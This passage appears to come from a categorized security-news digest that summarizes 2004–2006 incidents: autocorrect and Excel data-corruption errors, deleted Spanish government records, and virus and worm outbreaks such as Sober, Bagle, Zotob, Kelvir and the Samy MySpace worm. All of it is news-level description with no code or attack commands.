THE CUPERTINO EFFECT

Benjamin Zimmer posted an amusing analysis of a peculiar automatic correction in some word processing software: the misspelling "cooperatino" (for "cooperation") is corrected to "Cupertino." Apparently some European translators have dubbed this problem "The Cupertino Effect." Zimmer writes,

>Here's a brief sampling of the hundreds of Cupertinos one can find on the ".int" domain used by international groups like the UN, the EU and NATO:

* Within the GEIT BG the Cupertino with our Italian comrades proved to be very fruitful. (NATO Stabilisation Force, "Atlas raises the world," 14 May 2003)

* The fact that Secretary General Robertson is going to join this session this afternoon in the European Union headquarters gives you already an idea of how close and co-ordinated this Cupertino is and this action will be. (NATO Press Point, 19 Mar. 2001)

* Safe blood transfusion services are being addressed in Freetown and Lungi, using WHO RB funds in Cupertino with the Red Cross Society of Sierra Leone and in Bo by MSF/Belgium. (WHO/EHA report on Sierra Leone, 1 May 2000)

* Could you tell us how far such policy can go under the euro zone, and specifically where the limits of this Cupertino would be? (European Central Bank press conference, 3 Nov. 1998)

* Co-ordination with the World Bank Transport and Trade Facilitation Programme for South East Europe will be particularly important in the area of trade facilitation and shall be conducted through regular review mechanisms and direct Cupertino. (European Agency for Reconstruction, "Focal area: Justice and home affairs") . . . .<

Apparently another automatic correction changes "coperation" to "copulation" as in the following examples:

* "Albania was very interested in concluding a customs copulation agreement."

* "The Heads of State and Government congratulated SATCC for the crucial role it plays in strengthening copulation and accelerating the implementation of regional programmes in this strategic sector. (Southern African Development Community, Communique from the 1982 SADC Summit)"

* "The Western Balkan countries confirmed their intention to further liberalise trade amongst each other. They requested that they be included in the pan-european system of diagonal copulation, which would benefit trade and economic development. (International Organization for Migration, Foreign Ministers Meeting, 22 Nov. 2004)"

Category 13.2 Data corruption & destruction

2006-03-10 **quality assurance QA automatic spreadsheet format conversion correction errors**

RISKS 24 19

MS-EXCEL DAMAGES EXPERIMENTAL DATA

Biomedical researchers reported that MS-Excel converted some gene names into dates, damaging data sets and causing rejection of the damaged data. The authors listed 30 gene names such as DEC1 that got converted to dates (e.g., to 1-Dec). A worse problem occurred when data identifiers contained the letter E in a string of digits; these identifiers were irreversibly converted to floating point numbers in scientific notation. The authors wrote,

>There is another default conversion problem for RIKEN clone identifiers identifiers of the form nnnnnnnEnn, where n denotes a digit. These identifiers are comprised of the serial number of the plate that contains the library, information on plate status, and the address of the clone. A search … identified more than 2,000 such identifiers out of a total set of 60,770. For example, the RIKEN identifier "2310009E13" was converted irreversibly to the floating-point number "2.31E+13." A non-expert user might well fail to notice that approximately 3% of the identifiers on a microarray with tens of thousands of genes had been converted to an incorrect form, yet the potential for 2,000 identifiers to be transmogrified without notice is a considerable concern. Most important, these conversions to an internal date representation or floating-point number format are irreversible; the original gene name cannot be recovered.<

Peter G. Neumann commented, "If some computer virus or trojan did this sort of damage to the results of thousands of high-cost biomedical experiments, I imagine that we'd see a serious effort to put some people in jail. I'm not suggesting that any similar sort of retribution is appropriate here, but perhaps some rehabilitation would be in order. . . ."

Category 13.2 Data corruption & destruction

2006-06-04 **data loss erasure destruction government suppression**

RISKS 24 31

AZNAR GOVERNMENT WIPES COMPUTER RECORDS

Miguel Gallardo reported in RISKS that the Aznar government of Spain "deleted all the Spanish Government Presidency computer systems in "La Moncloa" Official Palace after the elections (3 days after the terrorism attacks in Madrid-Atocha train station). There is a 12 thousand Euros bill just for deleting everything, even data back-ups."

Gallardo's APEDANICA public-interest organization is suing the government for destruction of public records.

Category 13.2 Data corruption & destruction

2006-06-11 **quality assurance QA automatic spreadsheet format conversion correction errors percentages**

Network World Security Management Newsletter

EXCEL CAN DAMAGE PERCENTAGE DATA

Warn your users to _turn off_ automated format conversion functions in Excel (or other spreadsheets) when working with production spreadsheets where complex alphanumeric codes are to be entered. It would be better to note and correct an error than to have the software silently make assumptions and modify their input, resulting in data rejection or – worse – acceptance of faulty data.

Use the Tools | Options | Edit sequence and uncheck the "Enable automatic percent entry" because it has two different rules in effect. With that option enabled, input numbers _greater_ than 1 are _divided_ by 100; e.g., entering 10 stores the value 10% (i.e., 0.1) and entering 1 stores 1% (i.e., 0.01). However, numbers _smaller_ than 1 are _not_ converted; thus .1 is stored as 10% and .01 is stored as 1%. As you can see, there are two different numbers that can result in the same stored value (yecchhh). If the data contain numbers that cross the boundary between these (not particularly obvious) rules, the numbers stored in the spreadsheet will not be those intended by the operator.

[Based on an article published in Network World Security Management Newsletter by M. E. Kabay; in press]

14.1 Viruses

Category 14.1 Viruses

2004-12-07 **computer virus infection Jefferson County public schools Kentucky precautions anti-virus software**

DHS IAIP Daily; http://www.courier−journal.com/localnews/2004/12/07ky/A1−vir us1207−5418.html

COMPUTER VIRUS INFECTS JEFFERSON COUNTY SCHOOLS.

Jefferson County public schools in Kentucky are battling a virus that has infected at least 1,000 computers and wreaked havoc on everything from attendance reports to students' ability to finish term papers. Officials blame the same "w32gaobot" virus that hit tens of thousands of school computers statewide late last month, freezing school Websites and barring student access to the Internet. After getting into the state's education computer network, that virus bogged down computers partly by generating overloading traffic on the Internet — and in some cases reading computer passwords and dispersing them and other technical information onto the Internet. Potentially debilitating viruses "show up on a regular basis now," said Cary Petersen, director of technology in Jefferson County Public Schools. One problem controlling viruses in a school system like Jefferson County's, which has about 28,000 computers, is that there are many possible entry points, including spam e-mail attachments, Internet ads or infected floppy disks. Precautions, including anti-viral software and educating workers not to open an e-mail without certain knowledge of its origins, have helped limit the spread, Petersen said.

Category 14.1 Viruses

2005-01-31 **new virus anti-virus antivirus attack technique bypass filter ZIP RAR .zip .rar file compression algorithm**

DHS IAIP Daily; http://www.eweek.com/article2/0,1759,1756636,00.asp

NEW VIRUS ATTACK TECHNIQUE BYPASSES FILTERS

Administrators and service providers have begun seeing virus-infected messages with a new type of attachment hitting their mail servers: an .rar archive. .Rar files are similar to .zip files in that they are containers used to hold one or more compressed files. The .rar format is not as widely known as .zip, but it is used for a number of tasks, including compressing very large files, such as music and video. Many of the messages in .rar virus e-mail are invitations to view pornographic content, which is part of the reason for the viruses' success, experts say. .Rar's compression algorithm is 30 percent more efficient than .zip technology. One recent .rar virus that appeared at the end of last week is disguised as a patch from Microsoft. Anti-virus vendors have acknowledged the presence of viruses delivered as .rar files and are working to develop tools to identify and eradicate the malware.

Category 14.1 Viruses

2005-02-22 **Federal Bureau Investigation FBI warning computer virus fbi.gov address Internet Fraud Complaint Center**

DHS IAIP Daily; http://www.washingtonpost.com/wp−dyn/articles/A45131−2005Feb 22.html

FBI OFFICIALS WARN ABOUT COMPUTER VIRUS

The FBI warned Tuesday, February 22, that a computer virus is being spread through unsolicited e-mails that purport to come from the FBI. The e-mails appear to come from an fbi.gov address. They tell recipients that they have accessed illegal Websites and that their Internet use has been monitored by the FBI's "Internet Fraud Complaint Center," the FBI said.

Category 14.1 Viruses

2005-05-18 **computer virus German election influence ring wing hacktivism Trojan Horse**

DHS IAIP Daily; http://www.iht.com/articles/2005/05/17/business/virus.php

COMPUTER VIRUS MAY BE AIMED AT GERMAN ELECTION

The creator of a computer Trojan horse that unleashed a torrent of far-right spam e-mail messages in Germany on Tuesday, May 17, may be trying to influence the outcome of the election Sunday, May 22, in North Rhine-Westphalia, a German software expert said. Computers infected with the so-called Sober.q Trojan horse unwittingly sent thousands of spam e-mails bearing links to the Website of the National Democratic Party (NPD), a party that espouses "Germany for Germans," the death penalty for some drug dealers and an end to asylum-seeker rights. "This is most likely connected to the election coming up on Sunday," said Christoph Hardy, a spokesperson for the German unit of Sophos, a British anti-virus software company. "It was probably generated by someone who is sympathetic to the far-right, trying to create anger and a protest vote in Sunday's election." Sober.q was reported to have spread widely around Europe and also to have infected computers in the United States and Asia. The originator of the Trojan horse was most likely German because the programming language used to create the Trojan horse was German, as was the language in the e-mail.

Category 14.1 Viruses

2005-06-03 **virus Osama bin Laden e-mail junk attachment Microsoft Windows solution upgrade Windows**

DHS IAIP Daily; http://news.bbc.co.uk/1/hi/technology/4607203.stm

FAKE OSAMA BIN LADEN E-MAIL HIDES VIRUS

Users are being warned not to open junk e-mailmessages claiming Osama bin Laden has been captured. The messages claim to contain pictures of the al Qaeda leader's arrest but anyone opening the attachment will fall victim to a Microsoft Windows virus. Since June 1, anti-virus companies have been catching the junk mail messages in large numbers. Anyone opening the attachments or visiting the Website will get a version of the Psyme trojan installed on their PC. The vulnerability exploited by Psyme is found in Windows 2000, 95, 98, ME, NT, XP and Windows Server 2003. Users are urged to update their version of Windows to close the loophole.

Category 14.1 Viruses

2005-06-09 **new virus vulnerability scanner hacker methods botnets**

DHS IAIP Daily; http://www.newscientist.com/article.ns?id=dn7500

NEW TYPE OF VIRUS SCANS NETWORKS FOR VULNERABILITIES

An emerging breed of computer virus that keeps hackers informed about the latest weaknesses in computer networks has been discovered by security experts. The viruses infect a computer network, scan for security vulnerabilities and then report back to hackers through an Internet chatroom. Armies of computers infected with "bot" viruses are routinely controlled via a chatroom connection and are used to knock for denial of service attacks or as a conduit for sending out spam e-mail. However, the ability of some bots to scan their hosts for unpatched security holes and report their findings back to hackers has gone largely unnoticed until now. The emerging class of malware or malicious software - known as vulnerability assessment worms - "phone home" to allow hackers to fine-tune further attacks or perhaps even target an individual PC within a network. This pernicious form of program is just one of a growing number of new viruses identified each month, says computer security expert Bruce Schneier. "The virus trend doesn't look good," Schneier writes in the June 2005 edition of the Association for Computing Machinery journal, Queue. "More than a thousand new worms and viruses were discovered in the last six months alone."

Category 14.1 Viruses

2005-07-29 **virus writer targets anti-virus companies Sophos Symantec McAfee**

DHS IAIP Daily;
http://www.techweb.com/showArticle.jhtml?articleID=166403862

VIRUS WRITER TARGETS ANTI-VIRUS VENDORS

A virus writer apparently seeking notoriety instead of financial gain has released malicious code that ridicules anti-virus vendors and Sasser worm author Sven Jaschan, a security firm said Friday, July 29. The Lebreat-D virus, which is rated a low threat, creates in infected computers a JPEG image file of Jaschan, a German teenager recently convicted of authoring the widespread Sasser and Netsky worms, Sophos Plc said. The Lebreat worm, which is spread through email attachments and exploits a Microsoft security vulnerability, opens a backdoor to an infected Windows computer, enabling a hacker to gain control. The virus indicates that a denial of service attack could be planned against security vendors Symantec Corp. and McAfee Inc., but doesn't say when, Sophos said.

Category 14.1 *Viruses*

2005-09-22 **PC phone crossover virus Trojan Symbian 6o operating system OS Bluetooth propagation**

DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2142665/first−pc−phone −cro ssover−virus

FIRST PC/PHONE CROSSOVER VIRUS FOUND

The first mobile phone virus capable of infecting a computer has been found. Experts at have detected the Cardtrp worm that affects handsets running the Symbian 60 operating system. This work spreads via Bluetooh and MMS but could also spread through memory cards. Mikko Hyppönen, chief research officer at F-Secure, said: "The goal of this backdoor Trojan is most likely to cause the user to infect his PC when he is trying to disinfect his phone.

Category 14.1 *Viruses*

2005-10-04 **BBC News criminals victims spyware data viruses information MessageLabs**

DHS IAIP Daily; http://news.bbc.co.uk/2/hi/technology/4306048.stm

WEB HELPS CRIMINALS TRAP VICTIMS

Statistics have shows that criminals are using spyware to get hold of personal data they can sell or use themselves. This is a shift from e-mailed viruses that were sent to steal this valuable information. According to Mark Sunner, chief technology officer at MessageLabs, "More and more malicious code is appearing in web traffic as opposed to e-mail."

Category 14.1 *Viruses*

2005-11-01 **hacker virus e-mail computer hijacking botnets avian flu information social engineering**

DHS IAIP Daily; http://news.yahoo.com/s/nm/20051101/od_uk_nm/oukoe_uk_crime_ birdflu_hackers;_ylt=AiSkjGPhKv3hc6uuQZYRAPes0NUE;_ylu=X3oDM TA3NW1oMDRpBHNlYwM3NTc−

HACKERS USE BIRD FLU E-MAILS TO HIJACK COMPUTERS

Computer hackers are exploiting fears about avian flu by releasing a computer virus attached to an e-mail that appears to contain avian flu information. According to Panda Software, the virus Naiva.A masquerades as a word document with e-mail subject lines such as "Outbreak in North America" and "What is avian influenza (bird flu)?" When the file is opened, the virus modifies, creates, and delete files. The virus also installs a program that allows hackers to gain remote control of infected computers. The virus spreads through e-mails, Internet downloads, and file transfers.

Category 14.1 *Viruses*

2005-12-01 **biggest virus attack outbreak November 2005 Sober FBI CIA messages social engineering**

DHS IAIP Daily; http://www.techweb.com/wire/security/174403317;jsessionid=0E Z1TE0ZK20WWQSNDBGCKHSCJUMEKJVN

SOBER ATTACK BIGGEST VIRUS OUTBREAK EVER

Apparently, messages from the Federal Bureau of Investigation and Central Intelligence Agency are the way to spread worms, a security firm said Thursday, December 1, as it tallied up Sober's wildfire spread during November and concluded that the outbreak was the biggest ever. E-mail security provider Postini said that it had quarantined more than 218 million Sober-infected messages last week, more than four times the 50 million-message average that it blocks in a run-of-the-mill month. "This Sober generated close to a 1,500 percent increase in virus infected e-mail traffic in the past week," said Scott Petry, vice president of products and engineering at Postini, in a statement. Petry also said that Sober's attack was twice as large as the largest previous on Postini's records. Other security vendors took note of the recent Sober -- the variant is dubbed Sober.x, Sober.y, or Sober.z by most anti-virus firms -- and its impact during November. Both Sophos and Fortinet, for instance, had the new Sober at the top of their November charts as well.

Category 14.1 Viruses

2006-02-06 **Sophos report PC virus work month ever January malware release**

DHS IAIP Daily; http://www.scmagazine.com/uk/news/article/539732/sober−domin ates−virusfilled−january/

SOPHOS: JANUARY 2006 IS THE WORST MONTH ON RECORD FOR PC VIRUSES

Sophos said that 2,312 new articles of malware appeared last month, an increase of more than one-third since December. The Sober worm, called W32/Sober-Z by Sophos, accounted for nearly 45 percent of all malware. However, its recent dominance as the most frequently seen type of malware is set to end, the firm warned, because it stopped spreading on January 6. Following Sober, the top five was rounded out by Netsky-P, Zafi-B, Nyxem and Mytob-BE in that order. Mytob-FO, Netsky-D, Mytob-EX, Mytob-C and Mytob-AS rounded out the top ten January viruses, according to Sophos.

Category 14.1 Viruses

2006-02-16 **virus writers Apple Mac OS X release iChat vector low threat McAfee rating**

EDUPAGE; http://news.zdnet.com/2100-1009_22-6040681.html

VIRUS WRITERS TURN TO APPLE

A new computer virus that targets the Apple OS X operating system has been identified. Although the malicious code is not sophisticated--it requires users to "download the application and execute the resulting file," according to Apple--and has been labeled a low-level threat by McAfee and Symantec, it may represent the first virus in circulation that attacks users of Apple's operating system. Ray Wagner of Gartner said that the virus is "not really news" except that it is "the first OS X malicious content in the wild that's been noted at this point." The bug spreads primarily by sending itself through Apple's iChat instant messaging program to those on an infected computer's buddy list. Several security firms have updated their threat profiles to include the new virus.

Category 14.1 Viruses

2006-02-27 **cross-infecting virus discovery PC Windows wireless pocket device proof-of-concept Trojan**

DHS IAIP Daily;
http://www.scmagazine.com/uk/news/article/543503/crossinfect ing−virus−discovered/

CROSS-INFECTING VIRUS DISCOVERED.

The first malware to cross-infect a PC and a Windows wireless pocket device has been discovered, the Mobile Antivirus Researchers Association (MARA) said. The proof-of-concept, file-destroying Trojan automatically spreads from a Win32 desktop to a Windows Mobile Pocket PC. "With the growing use of hand-held devices, this type of virus may become very prevalent in the future. This virus closes the gap between handhelds and desktops," the association said. Jonathan Read of MARA said that previous "crossover" viruses -- "required either Bluetooth on the device and the PC, or the user had to physically transfer the virus on a memory card." But this trojan is the first to use ActiveSync -- a program that synchronizes files and other data between a Windows PC and a Windows Mobile device -- to cross-infect a desktop and hand-held PC. It also is the first crossover malware to infect the PC before attacking the mobile device. Dave Cole, director of Symantec Security Response, said today that he expects hackers to continue to experiment with new platforms, such as mobile devices. He predicts such attacks gradually will become more financially motivated as users increase their reliance on hand-held computers in their daily lives.

Category 14.1 Viruses

2006-03-15 **RFID threat viruses security vulnerability proof-of-concept**

EDUPAGE; http://www.nytimes.com/2006/03/15/technology/15tag.html

RFID SUSCEPTIBLE TO VIRUSES

A group of researchers affiliated with Vrije Universiteit in Amsterdam has discovered a way to spread a computer virus through RFID tags, a scenario most security experts had previously dismissed. The researchers demonstrated that a virus can spread from an infected tag to the scanners and systems that register the tags and to other tags. In an airport, for example, an infected luggage RFID tag can infect airline systems, possibly allowing some luggage to avoid being screened, and can spread to other luggage and other airports. The group called RFID malware "a Pandora's box" of potential problems. Aware of the risks of disclosing a vulnerability, the researchers also offered advice to RFID developers about how to protect their systems. Peter Neumann, computer scientist at research firm SRI International, echoed the researchers' warnings about RFID technology. "It shouldn't surprise you that a system that is designed to be manufactured as cheaply as possible," he said, "is designed with no security constraints whatsoever." Daniel Mullen, president of the Association for Automatic Identification and Mobility, which represents the industry, said companies developing the technology are engaged in an "ongoing dialogue about protecting information on the tag and in the database."

Category 14.1 Viruses

2006-04-07 **cross-platform proof-of-concept Windows Linux virus warning Kaspersky Labs**

DHS IAIP Daily;
http://www.computerworld.com/printthis/2006/0,4814,110330,00 .html

KASPERSKY WARNS OF CROSS-PLATFORM VIRUS PROOF-OF-CONCEPT.

Kaspersky Labs is reporting a new proof-of-concept virus capable of infecting both Windows and Linux systems. The cross-platform virus is relatively simple and appears to have a low impact, according to Kaspersky. Even so, it could be a sign that virus writers are beginning to research ways of writing new code capable of infecting multiple platforms, said Shane Coursen, senior technical consultant at Kaspersky. The new virus, which Kaspersky calls Virus.Linux.Bi.a/Virus.Win32.Bi.a, is written in assembler and infects only those files in the current directory. “However, it is interesting in that it is capable of infecting the different file formats used by Linux and Windows,” Kaspersky said.

14.2 Worms

Category 14.2 Worms

2004-12-09 **worm outbreak Netsky-P worst Sophos Security report German teenager Sven Jaschan**

DHS IAIP Daily; http://www.govtech.net/?pg=news/news&id=92407

NETSKY-P TOPS LIST OF YEAR'S WORST VIRUS OUTBREAKS

Sophos, a leading security company, released a report revealing the hardest hitting viruses of 2004. In a year which saw a 51.8 percent increase in the number of new viruses, the Netsky-P worm has accounted for almost a quarter of all virus incidents reported, making it the hardest hitting virus of 2004. Sophos researchers have identified 10,724 new viruses so far in 2004 bringing the total viruses in existence to 97,535. German teenager Sven Jaschan, who wrote both the Netsky and Sasser worms, is responsible for more than 55 percent of all virus reports in 2004. Jaschan was apprehended and confessed to his involvement in May 2004, but his worms continue to spread. In November 2004, eight months since its original discovery in March, Jaschan's Netsky-P worm was still the world's most widely reported virus. Also, the United States continues to lead the world in spam, accounting for more than two of every five spam emails. Over 40 percent of spam comes from PCs that have been hijacked by viruses. Despite an increase in law enforcement, the volume of threats, such as viruses and spam, continues to rise.

Category 14.2 Worms

2005-01-17 **virus worm masquerading Tsunami disaster donation hoax mass mailer**

DHS IAIP Daily; http://www.sophos.com/virusinfo/articles/vbsuna.html

TSUNAMI DISASTER DONATION E-MAIL PLEA IS REALLY A VIRUS

Virus experts at Sophos have discovered a mass-mailing worm that poses as a plea for donations to help with the Indian Ocean tsunami disaster. The W32/VBSun-A worm spreads via e-mail, tempting innocent users into clicking onto its malicious attachment by pretending to be information about how to donate to a tsunami relief effort. However, running the attached file will not only forward the virus to other internet users but can also initiate a Denial of Service attack against a German hacking website. E-mails sent by the worm have the subject line: "Tsunami Donation! Please help!" Although there have only been a small number of reports of the W32/VBSun-A worm, Sophos recommends computer users ensure their anti-virus software is up-to-date.

Category 14.2 Worms

2005-01-21 **worm Crowt-A CNN headline masquerading Trojan Horse installation keystroke logger mailer anti-virus update**

DHS IAIP Daily; http://www.sophos.com/virusinfo/articles/newsheadline.html

NEW WORM POSES AS BREAKING NEWS HEADLINES FROM CNN

Virus researchers have identified a new worm which poses as information on the latest news stories. Crowt-A(W32/Crowt-A) takes its subject lines, message content and attachment names from headlines gathered in real-time from the CNN Website. It attempts to send itself by e-mail to addresses found on infected computers. Crowt-A's subject line and attachment share the same name, but continually change to mirror the front-page headline on the CNN news site. Crowt-A also installs a backdoor Trojan function that attempts to log keystrokes on infected PCs and sends gathered data to a remote user. These Trojans are often used by hackers to gain unauthorized control of PCs and to steal personal information such as bank passwords. Companies and individuals are urged to secure their desktop and servers with automatically updated anti-virus protection.

Category 14.2 *Worms*

2005-01-27 **Bagle worm variants spreading rapidly Internet Trojan Horse backdoor code execution attack peer-to-peer P2P**

DHS IAIP Daily; http://www.internetnews.com/security/article.php/3465321

NEW VERSIONS OF BAGLE WORM SPREADING RAPIDLY

Security firms are reporting on the emergence of new Bagle virus variants that are proliferating in the wild. There are likely two different variants that are new, experts said. Many security firms have raised the threat level for the variants from moderate to severe or critical, as more instances of the rapidly spreading worm are reported. The Bagle worm contains a Trojan backdoor that allows a remote user to execute arbitrary code on the infected PC. In addition to having its payload distributed via an e-mail attachment, the latest variants are also proliferating via peer-to-peer (P2P) applications as well. Instead of random subject names for e-mail, the polymorphic worm creates random file names of popular applications.

Category 14.2 *Worms*

2005-03-01 **worm Bagle variant spread Internet mass mailing Trojan Horse antivirus vendor report ZIP attachment**

DHS IAIP Daily; http://news.com.com/Watchdog−attacking+Bagle+ramps+up/2100−7 349_3−5594201.html?tag=nefd.top

NEW BAGLE VARIANT RAMPS UP

A new variant of Bagle is spreading rapidly, security companies have warned. Rather than a mass-mailing worm, BagleDl-L is a Trojan horse that damages security applications and attempts to connect with a number of Websites. It has been sent via spam lists to millions of addresses in the past 12 hours, said security company McAfee, which has upgraded it to a "medium" risk. The new variant could also have boosted overall Bagle traffic, which has increased five times in the past 24 hours, e-mail security vendor Postini said Tuesday, March 1. According to antivirus companies F-Secure and Sophos, the Websites linked to by the new Bagle currently contain no malicious code. However, Trojan and worm writers have been known to add malicious code to a Website after the initial attack has calmed down. For this Trojan to work, users must manually open a ZIP-file attachment that displays the programs "doc_01.exe" or "prs_03.exe," which must be run manually to infect a computer.

Category 14.2 *Worms*

2005-03-07 **first mobile messaging worm antivirus vendor report Symbian Series 60 F-Secure address book**

DHS IAIP Daily; http://www.pcworld.com/news/article/0,aid,119918,00.asp

ANTIVIRUS COMPANIES REPORT FIRST MOBILE MESSAGING WORM

The first mobile-phone virus that spreads using the popular Multimedia Messaging Service (MMS) is circulating among Symbian Series 60 mobile phones, antivirus companies have warned. Antivirus vendors first spotted the new virus, dubbed CommWarrior.A, on Monday, March 7. When an infected attachment is opened, the virus places copies of itself on vulnerable mobile phones and uses the phone's address book to send copies of itself to the owner's contacts using MMS. Antivirus experts believe CommWarrior, which has been spreading slowly among cell phone users since January, is not a serious threat. However, the virus could herald a new age of malicious and fast-spreading cell phone threats, according to Mikko Hyppönen of F-Secure Corporation. MMS is a popular text messaging technology that allows mobile phone users to send multimedia content, such as sound files or photos, between MMS-compliant mobile phones.

Category 14.2 Worms

2005-04-14 **Kelvir worm Reuters instant messaging system IM attack shut down denial of service DoS**

DHS IAIP Daily;
http://news.com.com/Worm+attack+forces+Reuters+IM+offline/21 00−7355_3 −5671139.html?tag=nefd.top

WORM ATTACK FORCES REUTERS INSTANT MESSAGING OFFLINE

Reuters has shut down its instant messaging (IM) system after suffering an onslaught from a new Kelvir worm, the company confirmed Thursday, April 14. The London-based international media company decided to take its Reuters Messaging system completely offline after noticing the attack on its network earlier on Thursday. The new variant attempted to spread by sending fake instant messages to people in contact lists on infected systems. The messages, crafted to look exactly like legitimate IM correspondence, attempted to lure people to a Website where their computers would be infected with Kelvir. Unlike the free IM software marketed by America Online, Microsoft and Yahoo, Reuters Messaging was created as a corporate tool, closed off from public subscribers and for internal company use only. But in recent years, the company has moved to connect its consumers with those networks. Technical workers at Reuters said they believe the new Kelvir attack could also target other IM systems. No other companies with messaging software had reported such a threat as of midday Thursday, however.

Category 14.2 Worms

2005-06-15 **new worm AOL Instant Messaging IM AIM**

DHS IAIP Daily; http://news.com.com/New+worm+hits+AIM+network/2100− 7349_3−57 48646.html

NEW WORM HITS AOL INSTANT MESSAGING NETWORK

A new worm spread quickly on America Online's AIM instant messaging service Wednesday afternoon, June 15, but was contained within hours, experts said. The worm spread in instant messages with the text: "LOL LOOK AT HIM" and included a Web link to a file called "picture.pif." If that file was downloaded and opened, the worm would send itself to all contacts on the victim's AIM Buddy List, according to representatives from IM security companies Facetime and IMlogic. Both IMlogic and Facetime were investigating the picture.pif file to determine exactly what it does. Facetime and IMlogic received several inquiries on the worm, signaling that it was widespread. The worm hit employees at Hewlett-Packard and prompted tech support at the company to send out an alert to employees. The worm is the latest in an increasing number of cyberthreats that use instant messaging to attack Internet users. Just as with attachments and links in e-mail, instant message users should be careful when clicking on links that arrive in instant messages--even messages from people they know, experts have warned.

Category 14.2 Worms

2005-08-14 **worm attack Microsoft Plug and Play vulnerability Windows XP**

DHS IAIP Daily; http://www.securityfocus.com/news/11281

WORM SPREADING THROUGH MICROSOFT PLUG-AND-PLAY FLAW

A worm started spreading on Sunday, August 14, using a flaw in the Windows operating system's Plug-and-Play functionality, according to two security groups, who advised users to update systems using a patch released by Microsoft Tuesday, August 9. Researchers at anti-virus firm F-Secure, who dubbed the worm, dubbed Zotob, do not believe that the worm will widely infect computer systems. The worm does not infect computers running Windows XP Service Pack 2 nor Windows 2003, as those systems are somewhat protected against the Windows Plug-and-Play vulnerability. Machines that block port 445 using a firewall will also not be vulnerable, the company said. On Friday, the Internet Storm Center upgraded their threat level for the Internet to yellow, because three different groups had published code for taking advantage of the Microsoft Windows' Plug-and-Play flaw to compromise Windows machines. Microsoft's investigation into the worm indicated that it only infects Windows 2000 systems. The company verified that any system patched by its update released last Tuesday will not be infected by the worm.

Category 14.2 *Worms*

2005-08-17 **computer worms attack each other F-Secure software security virus-writing gangs Microsoft Windows 2K 2000**

DHS IAIP Daily; http://tech.nytimes.com/reuters/technology/tech−viruses−fsec ure−c.html

COMPUTER WORMS ARE ATTACKING EACH OTHER ACCORDING TO ANALYST

Computer worms that have brought down systems around the world in recent days are starting to attack each other, an analyst from Finnish software security firm F-Secure said on Wednesday, August 17. "We seem to have a botwar on our hands," said Mikko Hypponen, chief research officer at F-Secure. "There appear to be three different virus-writing gangs turning out new worms at an alarming rate, as if they were competing to build the biggest network of infected machines," said Hypponen. Hypponen said in a statement that varieties of three worms -- Zotob, Bozori and IRCbot -- were still exploiting a gap in Microsoft Corp.'s Windows 2000 operating system on computers that had not had the flaw repaired and were not shielded by firewalls.

Category 14.2 *Worms*

2005-08-25 **worm attack Microsoft MSN Messenger multiple languages Windows operating system OS**

DHS IAIP Daily; http://www.networkworld.com/news/2005/082505−msn− messenger−w orm.html?fsrc=rss−security

NEW MICROSOFT MESSENGER WORM WORKS IN MULTIPLE LANGUAGES

Users of Microsoft's MSN Messenger should be aware of a new "smart" worm that checks the configuration of their Windows client and sends a message in the appropriate language, according to security companies Akonix Systems and Symantec. The Kelvir.HI worm, a variant of the Kelvir IM malware that surfaced earlier this year, appears to be the first instant-message bug capable of checking systems settings and communicating in the victim's native tongue. When the worm penetrates a system, it sends a message in one of several languages, including Dutch, English, French, German and Greek as well as Portuguese, Swedish, Spanish and Turkish. The message in English is: "haha i found your picture!" If a user clicks on a link included with the message, a copy of the W32.Spyboot worm is automatically downloaded to their computer. Spyboot is a backdoor program that can, among other things, close security applications and help further spread the worm. The Kelvir.HI worm affects computers running Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003 and Windows XP, according to a Symantec advisory.

Category 14.2 *Worms*

2005-09-19 **worm Google spoofing warning peer-to-peer P2P game download browser corruption**

DHS IAIP Daily; http://www.snpx.com/cgi−bin/news55.cgi?target=109996736?− 2622

SECURITY VENDOR WARNS OF GOOGLE-SPOOFING WORM

There is a new Google worm, called P2Load.A and it is being spread on peer-to-peer programs like Shareaza and Imesh. According to Forrest Clark, senior manager of consumer product marketing with antivirus vendor Panda Software, the worm is posing as a free version of the Lucasfilm game "Knights of the Old Republic II." P2Load.A first began spreading on Wednesday and is most widely spread in the U.S. and Chile, Clark said. Users that download this game are finding themselves installing a new work and then receiving poor Google search results. This is done in installation which changes the browser when a user is trying to access Google. Instead of reaching Google the user is directed to a spoof site, hosted on a server in Germany.

Category 14.2 Worms

2005-10-13 **malicious code malware javascript Web page myspace friend denial of service DoS**

RISKS; http://fast.info/myspace/ 24 07

IDIOT HACKER SHUTS DOWN MYSPACE USING JAVASCRIPT WORM

A criminal hacker ("Samy") using the myspace.com service decided to falsify his popularity ratings: "Let's see here…what would make my profile rock. Well, the most popular profiles on myspace pretty much consist of people with the IQ and English delivery skills of Kanye West so I don't want to mimic those, but popularity begets popularity. I need some more friends. I need people to love me. I delved into the bug and found that I could basically control the web browsing of anyone who hit my profile. In fact, I was able to develop something that caused anyone who viewed my profile to add my name to their profile's list of heroes. It's villainous. I was ecstatic. But it wasn't enough. I needed more. So I went deeper. A Chipotle burrito bol and a few clicks later, anyone who viewed my profile who wasn't already on my friends list would inadvertently add me as a friend. Without their permission. I had conquered myspace. Veni, vidi, vici."

Unfortunately, this idiot wasn'st satisfied with linear growth of his fake popularity: "But it wasn't enough.

If I can become their friend…if I can become their hero…then why can't their friends become my friend…my hero. I can propagate the program to their profile, can't I. If someone views my profile and gets this program added to their profile, that means anyone who views THEIR profile also adds me as a friend and hero, and then anyone who hits THOSE people's profiles add me as a friend and hero… So if 5 people viewed my profile, that's 5 new friends. If 5 people viewed each of their profiles, that's 25 more new friends. And after that, well, that's when things get difficult. The math, I mean. Some people would call this a worm. I call it popularity. Regardless, I don't care about popularity, but it can't hurt, right?"

Within 20 hours, he had 1,005,831 friend requests (all fake).

[Original pointer by Paul Bissex; summary byMK]
Myspace had to shutdown temporarily to clean up the mess.

Category 14.2 Worms

2005-11-01 **Frankenstein AIM worm attack AOL instant messaging buddy icon adware rootkit infection remote control**

DHS IAIP Daily; http://www.pcworld.com/news/article/0,aid,123350,00.asp

'FRANKENSTEIN' ATTACK HITS AIM

A new worm is targeting America Online instant messenger users. The worm is installing rootkit types of backdoors on infected machines. The attack starts by the user opening a link of an AOL "buddy." This link contains an infection sequence with drops adware files and the rootkit itself. Once on the PC, the malware shutsdown the antivirus software and installs new software that allos the PC to be remotely controlled.

Category 14.2 Worms

2005-11-15 **instant messaging IM worm spread mutation update too slow**

DHS IAIP Daily; http://www.techweb.com/wire/security/173603062

IM WORMS MUTATING AT AN ALARMING RATE

